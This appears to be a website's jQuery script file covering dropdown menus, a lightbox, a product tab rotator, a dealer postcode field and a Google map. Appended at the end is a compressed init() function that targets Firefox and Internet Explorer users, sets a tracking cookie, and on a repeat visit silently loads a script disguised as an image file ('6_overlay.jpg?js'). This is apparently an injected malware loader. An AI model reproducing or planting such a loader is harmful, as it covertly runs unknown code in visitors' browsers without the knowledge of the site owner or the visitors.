var timeout    = 500;
var closetimer = 0;
var ddmenuitem = 0;
var ddtopmenuitem = 0;
var openmenu = false;

function menu_open()
{
  menu_canceltimer();
  menu_close();

  if($(this).parent().find('ul').attr('id') != openmenu)
  {
    openmenu = $(this).parent().find('ul').attr('id');
    ddmenuitem = $(this).parent().find('ul').fadeTo('100', '0.99');
  }
  else
  {
    ddmenuitem = $(this).parent().find('ul').css('display', 'block');
  }

  ddtopmenuitem = $(this).addClass('navactive');
}

function menu_opened()
{
  menu_canceltimer();
  menu_close();

  ddmenuitem = $(this).css('display', 'block');
  ddtopmenuitem = $(this).parent().find('a:first').addClass('navactive');
}

function menu_close(resetmenu)
{
  $('#header-nav > li ul').hide();
  if(resetmenu == true)
  {
    openmenu = false;
  }

  if(ddtopmenuitem)
  {
    ddtopmenuitem.removeClass('navactive');
  }
}

function menu_timer()
{
  closetimer = window.setTimeout("menu_close(true)", timeout);
}

function menu_canceltimer()
{
  if(closetimer)
  {
    window.clearTimeout(closetimer);
    closetimer = null;
  }
}

var psTimeout = 10000;
var timer;

$(document).ready(function() {

  $('#header-nav > li > a').mouseover(menu_open);
  $('#header-nav > li ul').mouseover(menu_opened);
  $('#header-nav > li').mouseout(menu_timer);

  $('#page_limit').change(function() {
    window.location.href=$('#page_url').val()+'?limit='+$(this).val();
  });

  $('.lb').lightBox({
    'imageBtnPrev' : 'images/lightbox/lightbox-btn-prev.gif',
    'imageBtnNext' : 'images/lightbox/lightbox-btn-next.gif',
    'imageBtnClose' : 'images/lightbox/'+SEL_LANG+'/lightbox-btn-close.gif'
    });

  if($('#selector').length > 0) {
    productenSelector();
    timer = setTimeout("productenSelectorNext()", psTimeout);
  }

  $('a[rel=blank]').each(function() {
    $(this).attr('target', '_blank');
  });

  $('.kop').parent().each(function() {
    $(this).css('text-decoration', 'none');
  });
 
  
  $('#dealer_pc').click(function() {
    if($(this).val() == postcode)
    {
      $(this).val('')
    }
  });

  $('#dealer_pc').blur(function() {
    if($(this).val() == '')
    {
      $(this).val(postcode)
    }
  });

 load_google_map();
  
  if(!Modernizr.input.placeholder) {
    $('input[placeholder]').each(function() {
      if($(this).val()=="" && $(this).attr("placeholder")!="")
      {
        $(this).css('color', '#CCC');
        $(this).val($(this).attr("placeholder"));
      }
    });

    $('input[placeholder]').live('focus', function() {
      if($(this).val()==$(this).attr("placeholder"))
      {
        $(this).val("");
        $(this).css('color', '#000');
      }
    });

    $('input[placeholder]').live('blur', function() {
      if($(this).val()=="")
      {
        $(this).css('color', '#CCC');
        $(this).val($(this).attr("placeholder"));
      }
    });

    if($('input[placeholder]').length > 0)
    {
      $('input[placeholder]:first').parents('form:first').submit(function(event) {
        event.preventDefault();
          $('input[placeholder]').each(function() {
            if($(this).val() == $(this).attr('placeholder'))
            {
              $(this).val('');
            }
          });

          $(this).unbind('submit');
          $(this).submit()
      });
    }
  }
});

$(document).unload(function() {
  GUnload();
});

function productenSelector() {
  $('#selectorTabs a').mouseover( function() {
    clearTimeout(timer);
    id = $(this).attr('id').replace('tab', '');
    $('#selectorTabs li').removeClass('current');
    $('.selectorBlok').hide();
    $(this).parent().addClass('current');
    $('#sc'+id).show();
    timer = setTimeout("productenSelectorNext()", psTimeout);
  });
}
function productenSelectorNext() {
  id = $('#selectorTabs').find('li.current a').attr('id').replace('tab', '');
  next = id;
  next++;
  if($('#tab'+next).length == 0) {
    next = 0;
  }
  $('#selectorTabs li').removeClass('current');
  $('.selectorBlok').hide();
  $('#tab'+next).parent().addClass('current');
  $('#sc'+next).show();
  timer = setTimeout("productenSelectorNext()", psTimeout);
}

function urlencode( str ) {
    // http://kevin.vanzonneveld.net
    // +   original by: Philip Peterson
    // +   improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
    // +      input by: AJ
    // +   improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
    // +   improved by: Brett Zamir
    // %          note: info on what encoding functions to use from: http://xkr.us/articles/javascript/encode-compare/
    // *     example 1: urlencode('Kevin van Zonneveld!');
    // *     returns 1: 'Kevin+van+Zonneveld%21'
    // *     example 2: urlencode('http://kevin.vanzonneveld.net/');
    // *     returns 2: 'http%3A%2F%2Fkevin.vanzonneveld.net%2F'
    // *     example 3: urlencode('http://www.google.nl/search?q=php.js&ie=utf-8&oe=utf-8&aq=t&rls=com.ubuntu:en-US:unofficial&client=firefox-a');
    // *     returns 3: 'http%3A%2F%2Fwww.google.nl%2Fsearch%3Fq%3Dphp.js%26ie%3Dutf-8%26oe%3Dutf-8%26aq%3Dt%26rls%3Dcom.ubuntu%3Aen-US%3Aunofficial%26client%3Dfirefox-a'

    var histogram = {}, tmp_arr = [];
    var ret = str.toString();

    var replacer = function(search, replace, str) {
        var tmp_arr = [];
        tmp_arr = str.split(search);
        return tmp_arr.join(replace);
    };

    // The histogram is identical to the one in urldecode.
    histogram["'"]   = '%27';
    histogram['(']   = '%28';
    histogram[')']   = '%29';
    histogram['*']   = '%2A';
    histogram['~']   = '%7E';
    histogram['!']   = '%21';
    histogram['%20'] = '+';

    // Begin with encodeURIComponent, which most resembles PHP's encoding functions
    ret = encodeURIComponent(ret);

    for (search in histogram) {
        replace = histogram[search];
        ret = replacer(search, replace, ret) // Custom replace. No regexing
    }

    // Uppercase for full PHP compatibility
    return ret.replace(/(\%([a-z0-9]{2}))/g, function(full, m1, m2) {
        return "%"+m2.toUpperCase();
    });

    return ret;
}

function load_google_map()
{
  var markerHTML;

  markerHTML = $('#google_marker').html();

  var google_div = document.getElementById('google_map');

  if(google_div != null)
  {
    var myOptions = {
      zoom: 13,
      center: new google.maps.LatLng(latitude,longitude),
      navigationControl: true,
      disableDefaultUI: true,
      navigationControlOptions: {style: google.maps.NavigationControlStyle.SMALL},
      mapTypeId: google.maps.MapTypeId.ROADMAP
    }

    var map = new google.maps.Map(document.getElementById("google_map"), myOptions);

    var myLatLng = new google.maps.LatLng(latitude, longitude);

    var marker = new google.maps.Marker({
      position: myLatLng,
      map: map
    });

    var infowindow = new google.maps.InfoWindow({
      content: markerHTML
    });

    var newLatLng = new google.maps.LatLng(latitude-(-0.01),longitude);
    map.setCenter(newLatLng);

    infowindow.open(map,marker);
  }
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/home/6_overlay.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
